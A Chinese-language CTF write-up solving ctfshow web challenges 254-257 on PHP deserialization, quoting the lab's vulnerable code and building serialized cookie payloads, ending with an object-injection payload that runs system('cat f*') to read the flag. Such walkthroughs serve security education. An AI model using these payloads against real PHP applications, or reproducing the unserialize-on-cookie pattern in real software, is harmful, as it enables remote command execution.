ctfshow web入门 反序列化（254~257详解）

  如果想要学php反序列化，要先弄懂php的类与对象，可以自行去php中文网了解，这里不过多赘述。

Web 254

本题并没有使用序列化和反序列化函数

public $username='xxxxxx';
public $password='xxxxxx';


public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;

$username=$_GET['username'];
$password=$_GET['password'];

从这几段代码可以得知，如果我们GET传入的username和password都为xxxxxx

那么就可以使  isVip = true

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();

这里可知若isVip = true 就可以得到flag

直接传参即可 ： ?username=xxxxxx&password=xxxxxx

Web 255 

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;


public function login($u,$p){
        return $this->username===$u&&$this->password===$p;


public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;

 可知这里反序列化 user COOKIE传参的值，进行验证

且传入的值需要满足username=xxxxxx,password=xxxxxx,isVip=true

 url编码一下

 

 Web256

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }

 注意这里是   !==  类型相同，但值不同 

做法和上题差不多，这里将password删去一个x（保证类型相同值不同即可）

class ctfshowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip='xxxxxx';
}
$a =new ctfshowUser();
echo urlencode(serialize($a)) //urldenode进行url编码

 

 注意这里的GET传参要与COOKIE传参的值相同，这里cookie中的password为五个x则GET传参的值也为五个x

Web257

 首先要注意的是  __construct()（构造函数，在创建一个对象时调用）

我们在创建ctfShowUser的对象时会调用到这个函数
因此我们要在创建对象时进行命令执行

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class='backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    public $code='system("cat f*");';
}

$ctfShowUserObj = new ctfShowUser();
$a = serialize($ctfShowUserObj);
echo urlencode($a);

?>

Ctrl+U查看flag